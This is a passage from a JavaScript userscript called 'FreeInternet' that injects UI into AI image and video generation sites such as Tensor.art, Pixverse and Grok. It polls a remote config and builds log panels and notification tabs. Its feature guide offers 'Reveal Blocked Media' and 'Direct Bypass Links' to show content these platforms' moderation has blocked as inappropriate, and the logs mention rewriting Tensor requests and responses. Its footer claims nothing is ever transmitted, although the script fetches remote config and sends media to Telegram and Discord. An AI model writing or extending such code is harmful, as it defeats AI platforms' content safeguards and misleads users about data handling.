      // 1) Serve cached immediately (stale-while-revalidate)
      const cached = localStorage.getItem(CONFIG_CACHE_KEY);
      if (cached) {
        try {
          const cachedData = JSON.parse(cached);
          const cachedConfig = cachedData?.config;
          const cachedTs = Number(cachedData?.timestamp) || 0;
          const ttl = getRemoteConfigCacheTtlMs(cachedConfig);
          const age = Date.now() - cachedTs;

          if (cachedConfig && (!remoteConfig || cachedTs > remoteConfigAppliedAt) && age >= 0 && age < (ttl * 10)) {
            // Accept a very old cache as a fallback UI seed, but still revalidate.
            console.log('[RemoteConfig] Using cached config (age:', Math.round(age / 1000), 's)');
            applyRemoteConfigNow(cachedConfig);
          }
        } catch (e) {
          console.warn('[RemoteConfig] Cache parse error:', e);
        }
      }

      // 2) Decide whether to revalidate now
      const meta = loadRemoteConfigMeta();
      const interval = getRemoteConfigPollIntervalMs();
      const due = force || (Date.now() - (Number(meta.lastCheckedAt) || 0) >= interval);
      if (!due) return remoteConfig;

      // De-dupe concurrent fetches
      if (remoteConfigFetchInFlight) return await remoteConfigFetchInFlight;

      remoteConfigFetchInFlight = (async () => {
        const reqHeaders = {};
        if (meta.etag) reqHeaders['If-None-Match'] = meta.etag;
        if (meta.lastModified) reqHeaders['If-Modified-Since'] = meta.lastModified;

        console.log('[RemoteConfig] Revalidating:', { reason, force, intervalMs: interval, background });
        let resp = null;
        try {
          const f = await originalFetch(CONFIG_URL, {
            method: 'GET',
            headers: reqHeaders,
            cache: 'no-store'
          });
          resp = {
            status: f.status,
            ok: f.ok,
            getHeader: (name) => f.headers?.get(name) || null,
            json: async () => f.json()
          };
        } catch (fetchErr) {
          console.warn('[RemoteConfig] Fetch blocked, trying GM request fallback:', fetchErr);
          resp = await gmRequestRemoteConfig(reqHeaders);
          if (!resp) throw fetchErr;
        }

        // Track check time regardless of status
        saveRemoteConfigMeta({ lastCheckedAt: Date.now(), lastStatus: resp.status });

        if (resp.status === 304) {
          return remoteConfig;
        }
        if (!resp.ok) {
          console.warn('[RemoteConfig] Fetch failed:', resp.status);
          return remoteConfig;
        }

        const newConfig = await resp.json();
        const newMeta = {
          etag: resp.getHeader('etag') || meta.etag || null,
          lastModified: resp.getHeader('last-modified') || meta.lastModified || null,
          lastCheckedAt: Date.now(),
          lastOkAt: Date.now(),
          lastStatus: resp.status
        };
        console.log('[RemoteConfig] Loaded:', newConfig?.script?.name, newConfig?.script?.version);
        applyRemoteConfigNow(newConfig, newMeta);
        return newConfig;
      })();

      const out = await remoteConfigFetchInFlight;
      remoteConfigFetchInFlight = null;
      return out;
    } catch (err) {
      remoteConfigFetchInFlight = null;
      console.warn('[RemoteConfig] Error fetching config:', err);
      return remoteConfig;
    }
  }

  function startRemoteConfigWatcher() {
    if (!(IS_TENSOR_DOMAIN || IS_PIXVERSE_DOMAIN || IS_DIGEN_DOMAIN || IS_GROK_DOMAIN || IS_HIGGSFIELD_DOMAIN || IS_HAILUO_DOMAIN)) return;
    if (remoteConfigWatcherTimer) {
      clearTimeout(remoteConfigWatcherTimer);
      remoteConfigWatcherTimer = null;
    }
    const tick = async () => {
      try {
        await fetchRemoteConfigWithOptions({ reason: 'poll', background: true });
      } catch {
        // ignore
      } finally {
        const nextIn = getRemoteConfigPollIntervalMs();
        remoteConfigWatcherTimer = setTimeout(tick, nextIn);
      }
    };
    remoteConfigWatcherTimer = setTimeout(tick, 1500);
  }

  function scheduleUIRefresh() {
    if (uiRefreshTimer) clearTimeout(uiRefreshTimer);
    uiRefreshTimer = setTimeout(() => {
      if (isExpanded) {
        const liveTabs = new Set(['home', 'tasks', 'dataControl', 'sharedNetwork', 'tensorInterceptBackground', 'pixverseBackground', 'digenBackground', 'grokBackground', 'higgsfieldBackground', 'hailuoBackground']);
        if (!liveTabs.has(currentTab)) return;
        // Full rebuild: remote config can change tabs (e.g. Services) and runtime controls.
        updateUI(false);
      }
    }, 120);
  }

  function getLiveLogPanelConfig(panelKey) {
    const configs = {
      tensorIntercept: {
        tab: 'tensorInterceptBackground',
        loadLogs: loadTensorInterceptLogs,
        emptyText: 'No logs yet. Tensor request/response rewrite activity will appear here.',
        borderColor: 'rgba(245,158,11,0.30)',
        rowBg: 'rgba(28,25,23,0.55)',
        infoColor: '#fbbf24'
      },
      digen: {
        tab: 'digenBackground',
        loadLogs: loadDigenLogs,
        emptyText: 'No logs yet. Digen runtime events will appear here.',
        borderColor: 'rgba(56,189,248,0.25)',
        rowBg: 'rgba(15,23,42,0.45)',
        infoColor: '#7dd3fc'
      },
      pixverse: {
        tab: 'pixverseBackground',
        loadLogs: loadPixverseLogs,
        emptyText: 'No logs yet. Pixverse runtime events will appear here in real time.',
        borderColor: 'rgba(148,163,184,0.2)',
        rowBg: 'rgba(15,23,42,0.45)',
        infoColor: '#93c5fd'
      },
      grok: {
        tab: 'grokBackground',
        loadLogs: loadGrokLogs,
        emptyText: 'No logs yet. Grok runtime events will appear here.',
        borderColor: 'rgba(148,163,184,0.2)',
        rowBg: 'rgba(15,23,42,0.45)',
        infoColor: '#93c5fd'
      },
      higgsfield: {
        tab: 'higgsfieldBackground',
        loadLogs: loadHiggsfieldLogs,
        emptyText: 'No logs yet. Higgsfield capture/runtime events will appear here.',
        borderColor: 'rgba(148,163,184,0.18)',
        rowBg: 'rgba(15,23,42,0.45)',
        infoColor: '#93c5fd'
      },
      hailuo: {
        tab: 'hailuoBackground',
        loadLogs: loadHailuoLogs,
        emptyText: 'No logs yet. Captured Hailuo events will appear here.',
        borderColor: 'rgba(34,197,94,0.18)',
        rowBg: 'rgba(15,23,42,0.35)',
        infoColor: '#86efac'
      }
    };
    return configs[panelKey] || null;
  }

  function renderLiveLogPanelBody(logBox, panelKey) {
    if (!logBox || !panelKey) return false;
    const config = getLiveLogPanelConfig(panelKey);
    if (!config) return false;

    const logs = typeof config.loadLogs === 'function' ? config.loadLogs() : [];
    const stickToBottom = Math.abs((logBox.scrollTop + logBox.clientHeight) - logBox.scrollHeight) <= 36;

    logBox.innerHTML = '';
    if (!logs.length) {
      const empty = document.createElement('div');
      empty.style.cssText = 'color:#94a3b8; font-size:12px; padding:8px;';
      empty.textContent = config.emptyText;
      logBox.appendChild(empty);
    } else {
      logs.slice().reverse().forEach((entry) => {
        const row = document.createElement('div');
        const level = String(entry.level || 'info').toLowerCase();
        const levelColor = level === 'error' ? '#f87171' : level === 'warn' || level === 'warning' ? '#f59e0b' : level === 'success' ? '#34d399' : config.infoColor;
        row.style.cssText = `padding:8px 10px; border:1px solid ${config.borderColor}; border-radius:8px; background:${config.rowBg}; margin-bottom:8px;`;

        const top = document.createElement('div');
        top.style.cssText = 'display:flex; gap:10px; align-items:center; margin-bottom:4px;';

        const time = document.createElement('span');
        time.style.cssText = 'font-size:10px; color:#94a3b8;';
        time.textContent = new Date(entry.ts).toLocaleTimeString();

        const badge = document.createElement('span');
        badge.style.cssText = `font-size:10px; font-weight:800; color:${levelColor}; text-transform:uppercase;`;
        badge.textContent = level;

        const message = document.createElement('div');
        message.style.cssText = 'font-size:12px; color:#e2e8f0; white-space:pre-wrap; word-break:break-word;';
        message.textContent = `${String(entry.message || '')}${entry.details ? `\n${JSON.stringify(entry.details)}` : ''}`;

        top.appendChild(time);
        top.appendChild(badge);
        row.appendChild(top);
        row.appendChild(message);
        logBox.appendChild(row);
      });
    }

    const countNode = document.querySelector(`[data-bypass-live-log-count="${panelKey}"]`);
    if (countNode) {
      countNode.textContent = `${logs.length} entr${logs.length === 1 ? 'y' : 'ies'}`;
    }

    if (stickToBottom) {
      requestAnimationFrame(() => {
        try {
          logBox.scrollTop = logBox.scrollHeight;
        } catch {
          // ignore
        }
      });
    }

    return true;
  }

  function refreshLiveLogPanel(panelKey) {
    const config = getLiveLogPanelConfig(panelKey);
    if (!config || !isExpanded || currentTab !== config.tab) return false;
    const logBox = document.querySelector(`[data-bypass-live-log-box="${panelKey}"]`);
    if (!logBox) return false;
    return renderLiveLogPanelBody(logBox, panelKey);
  }

  function refreshLiveLogPanelOrSchedule(panelKey) {
    if (!refreshLiveLogPanel(panelKey) && isExpanded) {
      scheduleUIRefresh();
    }
  }

  function showFeatureHubDialog() {
    const colors = getThemeColors();
    const overlayBg = settings.inheritTheme ? 'var(--mask-primary, rgba(0, 0, 0, 0.75))' : 'rgba(0, 0, 0, 0.75)';
    const dialogBg = settings.inheritTheme ? 'var(--background-primary, #0f172a)' : 'linear-gradient(135deg, #0f172a 0%, #1e293b 100%)';
    const dialogBorder = settings.inheritTheme ? colors.border : 'rgba(99, 102, 241, 0.35)';

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      top: 0; left: 0; right: 0; bottom: 0;
      background: ${overlayBg};
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 10000000;
      backdrop-filter: blur(6px);
      animation: fadeIn 0.3s ease;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      background: ${dialogBg};
      border-radius: 16px;
      width: 92%;
      max-width: 800px;
      max-height: 85vh;
      overflow-y: auto;
      box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9);
      border: 1px solid ${dialogBorder};
      position: relative;
    `;

    const closeBtn = document.createElement('button');
    closeBtn.innerHTML = '✕';
    closeBtn.style.cssText = `
      position: absolute;
      top: 14px;
      right: 14px;
      background: rgba(239, 68, 68, 0.2);
      color: #ef4444;
      border: 1px solid rgba(239, 68, 68, 0.3);
      width: 34px;
      height: 34px;
      border-radius: 50%;
      cursor: pointer;
      z-index: 10;
    `;
    closeBtn.onclick = () => overlay.remove();

    const content = document.createElement('div');
    content.style.cssText = `padding: 28px; color: ${colors.text};`;

    const title = remoteConfig?.script?.display_name || 'FreeInternet';
    const features = remoteConfig?.features || [];

    content.innerHTML = `
      <div style="margin-bottom: 24px; text-align: center;">
        <h2 style="font-size: 22px; margin: 0 0 8px 0; color: #6366f1;"><i class="fas fa-shield-alt"></i> ${title}</h2>
        <p style="margin: 0; font-size: 13px; color: #94a3b8;">Comprehensive feature guide and quick reference</p>
      </div>
    `;

    // Comprehensive built-in features documentation
    const builtInFeatures = [
      {
        title: 'Reveal Blocked Media',
        description: 'Removes blocking overlays and reveals blocked/inappropriate content in-place on the page.',
        instructions: `
          <div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
            <strong>How to use:</strong><br>
            • <em>Individual:</em> Click the "Reveal" button on any blocked item<br>
            • <em>Task-level:</em> Use "Reveal all blocked" button in task controls<br>
            • <em>Global:</em> Use "Reveal all" button in toolbar for all visible tasks<br>
            <strong>Note:</strong> Media appears inline without downloading
          </div>
        `
      },
      {
        title: 'Download Media',
        description: 'Download all media (images/videos) from a task directly to your device.',
        instructions: `
          <div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
            <strong>How to use:</strong><br>
            • Open the "Download" section on any task card<br>
            • Toggle "Download only blocked items" if desired<br>
            • Click "Download all" to start<br>
            • Failed items can be retried with "Retry failed" button<br>
            <strong>Note:</strong> Downloads go to your browser's default folder
          </div>
        `
      },
      {
        title: '💬 Send to Telegram',
        description: 'Sends blocked/media content directly to your Telegram chat for quick access.',
        instructions: `
          <div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
            <strong>How to use:</strong><br>
            • Configure Telegram bot token in settings<br>
            • Click "Send to Telegram" on task cards<br>
            • Individual items can be sent via context menu<br>
            • Failed sends can be retried<br>
            <strong>Setup:</strong> Create Telegram bot via BotFather, get token
          </div>
        `
      },
      {
        title: 'Send to Discord',
        description: 'Sends media content to a Discord server or DM channel for sharing and archival.',
        instructions: `
          <div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
            <strong>How to use:</strong><br>
            • Get Discord webhook URL from channel settings<br>
            • Paste webhook URL in extension settings<br>
            • Click "Send to Discord" on task cards<br>
            • Media appears as embeds in Discord<br>
            <strong>Setup:</strong> Right-click channel → Webhooks → Create
          </div>
        `
      },
      {
        title: 'Direct Bypass Links',
        description: 'Get direct URLs to bypass restrictions and access content immediately.',
        instructions: `
          <div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
            <strong>How to use:</strong><br>
            • Bypass links appear on media cards automatically<br>
            • Click <i class="fas fa-up-right-from-square"></i> to open in new tab<br>
            • Click <i class="fas fa-copy"></i> to copy URL to clipboard<br>
            • Links work on any device/browser<br>
            <strong>Note:</strong> One-click access to restricted content
          </div>
        `
      },
      {
        title: 'Advanced Settings',
        description: 'Fine-tune behavior with comprehensive configuration options.',
        instructions: `
          <div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
            <strong>Key Settings:</strong><br>
            • <em>Auto-reveal on task load:</em> Automatically reveals blocked items<br>
            • <em>Show bypass links:</em> Toggle direct URL display<br>
            • <em>Theme inheritance:</em> Match site's appearance<br>
            • <em>Help tooltips:</em> Show/hide helpful hints
          </div>
        `
      }
    ];

    // Display built-in features
    const list = document.createElement('div');
    list.style.cssText = 'display: grid; gap: 14px;';

    builtInFeatures.forEach(feature => {
      const card = document.createElement('div');
      card.style.cssText = 'padding: 14px; border-radius: 10px; background: rgba(99, 102, 241, 0.06); border: 1px solid rgba(99, 102, 241, 0.2);';
      card.innerHTML = `
        <div style="font-weight: 600; font-size: 13px; color: #f1f5f9; margin-bottom: 6px;">
          ${feature.title}
        </div>
        <div style="font-size: 12px; color: #cbd5e1; margin-bottom: 8px;">
          ${feature.description}
        </div>
        ${feature.instructions}
      `;
      list.appendChild(card);
    });

    // Add remote config features if available
    if (features.length > 0) {
      const divider = document.createElement('div');
      divider.style.cssText = 'height: 1px; background: rgba(99, 102, 241, 0.2); margin: 16px 0; text-align: center;';
      divider.innerHTML = '<span style="background: linear-gradient(135deg, #0f172a 0%, #1e293b 100%); padding: 0 8px; font-size: 11px; color: #94a3b8;">Additional Features</span>';
      list.appendChild(divider);

      features.forEach(feature => {
        const card = document.createElement('div');
        card.style.cssText = 'padding: 14px; border-radius: 10px; background: rgba(99, 102, 241, 0.06); border: 1px solid rgba(99, 102, 241, 0.2);';
        card.innerHTML = `
          <div style="font-weight: 600; font-size: 13px; color: #f1f5f9; margin-bottom: 6px;">
            <i class="fas fa-star" style="color: #6366f1; margin-right: 6px;"></i>${feature.title}
          </div>
          <div style="font-size: 12px; color: #cbd5e1;">${feature.description || ''}</div>
        `;
        list.appendChild(card);
      });
    }

    // Add footer with privacy notice
    const footer = document.createElement('div');
    footer.style.cssText = 'margin-top: 20px; padding-top: 16px; border-top: 1px solid rgba(99, 102, 241, 0.2); font-size: 11px; color: #94a3b8; line-height: 1.6;';
    footer.innerHTML = `
      <div style="margin-bottom: 12px;">
        <strong style="color: #cbd5e1;">ℹ️ Privacy & Security:</strong> This script runs entirely in your browser. All settings are stored locally and never transmitted anywhere.
      </div>
      <div style="margin-bottom: 12px;">
        <strong style="color: #cbd5e1;">🔄 Updates:</strong> The script automatically checks for updates and will notify you of available improvements.
      </div>
      <div>
        <strong style="color: #cbd5e1;">❓ Need Help?</strong> Hover over buttons with <i class="fas fa-question-circle"></i> icons to see additional information.
      </div>
    `;

    content.appendChild(list);
    content.appendChild(footer);
    dialog.appendChild(closeBtn);
    dialog.appendChild(content);
    overlay.appendChild(dialog);
    overlay.onclick = (e) => {
      if (e.target === overlay) overlay.remove();
    };
    document.body.appendChild(overlay);
  }

  function injectProfileMenuItem() {
    const menu = document.querySelector('div.flex.flex-col.flex-1.overflow-y-auto.max-h-80vh.scroll-bar-base');
    if (!menu) return false;

    if (menu.querySelector('[data-bypass-profile-menu]')) return true;

    const item = document.createElement('div');
    item.setAttribute('data-bypass-profile-menu', 'true');
    item.className = 'flex items-center text-14 lh-20 fw-500 h-40 px-12 hover:opacity-[60%] gap-12 c-text-primary cursor-pointer';
    item.innerHTML = '<i class="fas fa-shield-alt" style="font-size: 16px;"></i><span>FreeInternet</span>';
    item.onclick = (e) => {
      e.preventDefault();
      e.stopPropagation();
      showFeatureHubDialog();
    };

    const settingsLink = menu.querySelector('a[href="/settings"]');
    const settingsRow = settingsLink?.closest('div.flex.items-center');
    if (settingsRow && settingsRow.parentElement) {
      settingsRow.parentElement.insertBefore(item, settingsRow);
    } else {
      menu.appendChild(item);
    }
    return true;
  }

  function injectNotificationDropdownItem() {
    const runtime = getRemoteRuntimeConfig();
    const notificationsCfg = runtime.notifications || {};
    if (!notificationsCfg.enabled || !notificationsCfg.injectDropdown) return false;

    const entries = getRemoteNotificationEntries();
    const count = entries.length;

    const lists = Array.from(document.querySelectorAll('div.v-binder-follower-content ul'));
    if (!lists.length) return false;

    let injected = false;
    lists.forEach(list => {
      const hasKnownNotifications = list.querySelector('li[name="COMMENT"], li[name="LIKE"], li[name="FOLLOW"], li[name="SYSTEM"], li[name="SPONSOR"]');
      if (!hasKnownNotifications) return;
      if (list.querySelector('[data-bypass-notification-menu]')) return;

      const li = document.createElement('li');
      li.setAttribute('data-bypass-notification-menu', 'true');
      li.style.cursor = 'pointer';
      li.className = 'px-12 py-8 flex justify-between items-center';

      const a = document.createElement('a');
      a.href = notificationsCfg.openUrl || 'https://tensor.art/notifications';
      a.style.cssText = 'display:flex; justify-content:space-between; align-items:center; width:100%; color:inherit; text-decoration:none;';
      a.innerHTML = `FreeInternet ${count > 0 ? `<span class="text-12 lh-16 fw-400 text-#fff px-4 rd-19 bg-red">${count}</span>` : ''}`;
      a.onclick = (e) => {
        e.preventDefault();
        window.location.href = notificationsCfg.openUrl || 'https://tensor.art/notifications';
      };

      li.appendChild(a);
      list.appendChild(li);
      injected = true;
    });

    return injected;
  }

  // ── helpers ─────────────────────────────────────────────────────────────────

  /**
   * Install one-time click listeners on native notification tabs (COMMENT, LIKE, …).
   * When any native tab fires → clear our custom-tab state so Vue can re-render freely.
   * Safe to call multiple times (guarded by dataset attribute).
   */
  function _hookNativeNotificationTabs(tabsWrapper) {
    tabsWrapper.querySelectorAll('.n-tabs-tab').forEach(el => {
      const n = el.getAttribute('data-name') || '';
      if (['FREEINTERNET', 'COMMUNITY'].includes(n)) return; // skip ours
      if (el.dataset.fiHooked) return;
      el.dataset.fiHooked = '1';
      el.addEventListener('click', () => {
        currentNotificationsTab = null;
        // Update URL to match the tab being clicked
        try {
          const newUrl = n ? `/notifications?type=${encodeURIComponent(n)}` : '/notifications';
          history.replaceState(null, '', newUrl);
        } catch { /* ignore */ }
      });
    });
  }

  /**
   * Return the notifications host element (the div Vue uses for notification content).
   */
  function _getNotificationsHost() {
    return document.querySelector('div.dark\\:text-white\\/45') || document.querySelector('main .dark\\:text-white\\/45');
  }

  /**
   * Activate a custom notifications tab (FREEINTERNET or COMMUNITY).
   * Updates URL, toggling active class, and requests a re-render.
   */
  function _activateCustomNotificationsTab(tabName, renderFn, tabsWrapper) {
    currentNotificationsTab = tabName;
    try {
      history.replaceState(null, '', `/notifications?type=${encodeURIComponent(tabName)}`);
    } catch { /* ignore */ }
    // Toggle active classes
    tabsWrapper.querySelectorAll('.n-tabs-tab').forEach(el => el.classList.remove('n-tabs-tab--active'));
    const ourTab = tabsWrapper.querySelector(`[data-name="${tabName}"]`);
    if (ourTab) ourTab.classList.add('n-tabs-tab--active');
    renderFn();
  }

  // ── FreeInternet tab rendering ───────────────────────────────────────────────

  function renderFreeInternetNotificationsPage() {
    if (!/\/notifications/i.test(window.location.pathname)) return false;
    const runtime = getRemoteRuntimeConfig();
    const notificationsCfg = runtime.notifications || {};
    if (!notificationsCfg.enabled) return false;

    const host = _getNotificationsHost();
    if (!host) return false;

    // Don't re-render if already showing our content and nothing changed
    if (host.querySelector('[data-bypass-notifications-feed]') && currentNotificationsTab === 'FREEINTERNET') return true;

    const entries = getRemoteNotificationEntries();

    const wrap = document.createElement('div');
    wrap.setAttribute('data-bypass-notifications-feed', 'true');
    wrap.style.cssText = `
      color: var(--text-primary, inherit);
      background: var(--background-primary, transparent);
      display: flex;
      flex-direction: column;
      gap: 12px;
      padding: 12px 0;
    `;

    if (!entries.length) {
      const empty = document.createElement('div');
      empty.className = 'flex justify-center py-96';
      empty.textContent = 'Nothing here yet';
      wrap.appendChild(empty);
    } else {
      entries.forEach(entry => {
        const card = document.createElement('div');
        card.style.cssText = `
          border: 1px solid var(--stroke-secondary, rgba(148,163,184,0.25));
          border-radius: 12px;
          padding: 12px;
          background: var(--background-on-primary, rgba(15,23,42,0.25));
        `;

        const when = entry.date ? new Date(entry.date).toLocaleString() : 'Unknown date';
        const badgeColor = entry.kind === 'update' ? '#6366f1' : '#0ea5e9';
        const safeTitle = escapeHtml(entry.title || 'Notification');
        const safeAuthor = escapeHtml(entry.author || 'System');
        const fallbackText = escapeHtml(entry.text || '');

        card.innerHTML = `
          <div style="display:flex; align-items:center; justify-content:space-between; gap:10px; margin-bottom:8px;">
            <div style="font-weight:600;">${safeTitle}</div>
            <span style="font-size:10px; padding:2px 8px; border-radius:999px; background:${badgeColor}; color:#fff; text-transform:uppercase;">${entry.kind}</span>
          </div>
          <div style="font-size:11px; opacity:0.8; margin-bottom:8px;">${safeAuthor} • ${escapeHtml(when)}</div>
          <div style="font-size:12px; line-height:1.6;">${entry.html || fallbackText}</div>
        `;

        if (Array.isArray(entry.links) && entry.links.length) {
          const linkRow = document.createElement('div');
          linkRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
          entry.links.forEach(link => {
            if (!link?.url) return;
            const a = document.createElement('a');
            a.href = link.url;
            a.target = '_blank';
            a.rel = 'noopener noreferrer';
            a.style.cssText = 'font-size:11px; padding:6px 10px; border-radius:8px; border:1px solid var(--stroke-secondary, rgba(148,163,184,0.35)); text-decoration:none; color:var(--text-primary, inherit); background:var(--background-primary, transparent);';
            a.textContent = link.label || 'Open';
            linkRow.appendChild(a);
          });
          card.appendChild(linkRow);
        }

        wrap.appendChild(card);
      });
    }

    host.innerHTML = '';
    const title = document.createElement('div');
    title.style.cssText = 'font-weight:600; margin-bottom:6px;';
    title.textContent = 'FreeInternet Notifications';
    host.appendChild(title);
    host.appendChild(wrap);
    return true;
  }

  // ── Community tab rendering (notifications page) ─────────────────────────────

  async function renderCommunityNotificationsPage() {
    if (!/\/notifications/i.test(window.location.pathname)) return false;
    const host = _getNotificationsHost();
    if (!host) return false;

    // Don't re-render if already showing our content
    if (host.querySelector('[data-bypass-community-feed]') && currentNotificationsTab === 'COMMUNITY') return true;

    host.innerHTML = '';

    const rootWrap = document.createElement('div');
    rootWrap.setAttribute('data-bypass-community-feed', 'true');
    rootWrap.style.cssText = 'display:flex; flex-direction:column; gap:0;';

    const hdr = document.createElement('div');
    hdr.style.cssText = 'font-weight:700; font-size:15px; margin-bottom:14px; display:flex; align-items:center; gap:10px;';
    hdr.innerHTML = `<i class="fas fa-people-group" style="color:#6366f1;"></i> Community AI Tools
      <button id="fi-comm-notif-refresh" style="margin-left:auto; background:rgba(99,102,241,0.12); border:1px solid rgba(99,102,241,0.4); color:#818cf8; border-radius:8px; padding:4px 12px; font-size:11px; cursor:pointer; display:flex; align-items:center; gap:5px;">
        <i class="fas fa-arrows-rotate"></i> Refresh
      </button>`;
    rootWrap.appendChild(hdr);

    const grid = document.createElement('div');
    grid.id = 'fi-comm-notif-grid';
    grid.style.cssText = 'display:flex; flex-direction:column; gap:12px;';
    rootWrap.appendChild(grid);

    host.appendChild(rootWrap);

    const doRender = async (force) => {
      grid.innerHTML = `<div style="text-align:center; padding:32px; color:rgba(148,163,184,0.7); font-size:13px;">
        <i class="fas fa-spinner fa-spin" style="margin-right:8px;"></i>Loading community tools…</div>`;
      try {
        const tools = await communityFetchTools(force);
        grid.innerHTML = '';
        if (!tools.length) {
          grid.innerHTML = `<div style="text-align:center; padding:40px; color:rgba(148,163,184,0.7); font-size:13px;">
            <i class="fas fa-inbox" style="font-size:24px; display:block; margin-bottom:10px; opacity:0.5;"></i>
            No community tools yet. Visit a template page and click <strong>Recommend</strong>.</div>`;
          return;
        }
        tools.forEach((tool, idx) => _renderCommunityToolCard(grid, tool, idx, true));
      } catch (err) {
        grid.innerHTML = `<div style="text-align:center; padding:24px; color:#f87171; font-size:12px;">
          <i class="fas fa-triangle-exclamation" style="margin-right:6px;"></i>${escapeHtml(String(err?.message || err))}</div>`;
      }
    };

    host.querySelector('#fi-comm-notif-refresh')?.addEventListener('click', () => doRender(true));
    await doRender(false);
    return true;
  }

  /**
   * Build a rich community tool card and append it to `container`.
   * `isNotificationsPage` = true when rendering in /notifications vs. floating panel.
   */
  function _renderCommunityToolCard(container, tool, idx, isNotificationsPage) {
    const colors = getThemeColors();
    const usageCount = _countTemplateUsage(tool.workflowTemplateId);
    const isOwn = communitySharedTemplateIds.has(String(tool.workflowTemplateId));
    const showcases = Array.isArray(tool.showcases) ? tool.showcases.slice(0, 3) : [];
    const tags = Array.isArray(tool.tags) ? tool.tags : [];
    const owner = tool.owner || {};
    const badges = Array.isArray(owner.badges) ? owner.badges : [];
    const isVip = tool.flags_vip_only || tool.flags?.vipOnly;
    const descRaw = tool.description ? tool.description.replace(/<[^>]+>/g, '') : '';
    const desc = descRaw.length > 120 ? descRaw.slice(0, 120) + '…' : descRaw;
    const updatedAt = tool.last_updated_at
      ? new Date(Number(tool.last_updated_at)).toLocaleDateString()
      : (tool.lastSharedAt ? new Date(tool.lastSharedAt).toLocaleDateString() : null);

    const card = document.createElement('div');
    card.style.cssText = `
      border-radius: 16px;
      border: 1px solid ${colors.border};
      background: ${colors.bg};
      overflow: hidden;
      transition: box-shadow 0.2s, border-color 0.2s;
    `;
    card.onmouseenter = () => { card.style.borderColor = colors.primary; card.style.boxShadow = '0 4px 24px rgba(99,102,241,0.12)'; };
    card.onmouseleave = () => { card.style.borderColor = colors.border; card.style.boxShadow = ''; };

    // ── Showcase thumbnails row ──
    if (showcases.length) {
      const gallery = document.createElement('div');
      gallery.style.cssText = 'display:flex; height:90px; overflow:hidden; border-radius:14px 14px 0 0;';
      showcases.forEach(sc => {
        const img = document.createElement('img');
        img.src = sc.url || '';
        img.alt = '';
        img.loading = 'lazy';
        img.style.cssText = `flex:1; object-fit:cover; min-width:0; ${showcases.length > 1 ? 'border-right:1px solid rgba(0,0,0,0.3);' : ''}`;
        gallery.appendChild(img);
      });
      card.appendChild(gallery);
    }

    // ── Body ──
    const body = document.createElement('div');
    body.style.cssText = 'padding: 12px 14px 14px;';

    // Title row
    const titleRow = document.createElement('div');
    titleRow.style.cssText = 'display:flex; align-items:flex-start; gap:8px; margin-bottom:6px;';

    const rankBadge = document.createElement('span');
    rankBadge.style.cssText = 'min-width:22px; height:22px; border-radius:50%; background:rgba(99,102,241,0.18); color:#818cf8; display:inline-flex; align-items:center; justify-content:center; font-size:10px; font-weight:900; flex-shrink:0; margin-top:2px;';
    rankBadge.textContent = String(idx + 1);

    const titleText = document.createElement('div');
    titleText.style.cssText = `font-size:14px; font-weight:700; line-height:1.3; flex:1; color:${colors.text};`;
    titleText.textContent = tool.name || tool.workflowTemplateId;

    const flagsRow = document.createElement('div');
    flagsRow.style.cssText = 'display:flex; gap:4px; flex-shrink:0; align-items:center; margin-top:2px;';
    if (isVip) {
      const vipBadge = document.createElement('span');
      vipBadge.style.cssText = 'font-size:9px; padding:2px 6px; border-radius:999px; background:linear-gradient(90deg,#f59e0b,#f97316); color:#fff; font-weight:700; text-transform:uppercase; letter-spacing:0.3px;';
      vipBadge.textContent = 'VIP';
      flagsRow.appendChild(vipBadge);
    }
    if (tool.flags_subscriber_only || tool.flags?.subscriberOnly) {
      const subBadge = document.createElement('span');
      subBadge.style.cssText = 'font-size:9px; padding:2px 6px; border-radius:999px; background:rgba(99,102,241,0.3); color:#818cf8; font-weight:700;';
      subBadge.textContent = 'SUB';
      flagsRow.appendChild(subBadge);
    }

    titleRow.appendChild(rankBadge);
    titleRow.appendChild(titleText);
    titleRow.appendChild(flagsRow);
    body.appendChild(titleRow);

    // Description
    if (desc) {
      const descEl = document.createElement('div');
      descEl.style.cssText = `font-size:11px; color:${colors.textSecondary}; line-height:1.5; margin-bottom:8px;`;
      descEl.textContent = desc;
      body.appendChild(descEl);
    }

    // Tags
    if (tags.length) {
      const tagsRow = document.createElement('div');
      tagsRow.style.cssText = 'display:flex; flex-wrap:wrap; gap:4px; margin-bottom:8px;';
      tags.forEach(tag => {
        const t = document.createElement('span');
        t.style.cssText = `font-size:9px; padding:2px 7px; border-radius:999px; background:${colors.success}22; color:${colors.success}; border:1px solid ${colors.success}44;`;
        t.textContent = tag.name || tag;
        tagsRow.appendChild(t);
      });
      body.appendChild(tagsRow);
    }

    // Owner row
    if (owner.name || owner.owner_name) {
      const ownerName = owner.name || owner.owner_name;
      const ownerAvatar = owner.avatar || owner.owner_avatar;
      const ownerRow = document.createElement('div');
      ownerRow.style.cssText = 'display:flex; align-items:center; gap:7px; margin-bottom:8px;';
      if (ownerAvatar) {
        const av = document.createElement('img');
        av.src = ownerAvatar;
        av.style.cssText = 'width:22px; height:22px; border-radius:50%; object-fit:cover; flex-shrink:0;';
        av.onerror = () => { av.style.display = 'none'; };
        ownerRow.appendChild(av);
      }
      const ownerNameEl = document.createElement('span');
      ownerNameEl.style.cssText = `font-size:11px; color:${colors.textSecondary}; font-weight:500;`;
      ownerNameEl.textContent = ownerName;
      ownerRow.appendChild(ownerNameEl);
      if (owner.isVip || owner.owner_is_vip) {
        const vipIcon = document.createElement('span');
        vipIcon.style.cssText = 'font-size:10px; color:#f59e0b; margin-left:2px;';
        vipIcon.innerHTML = '<i class="fas fa-crown"></i>';
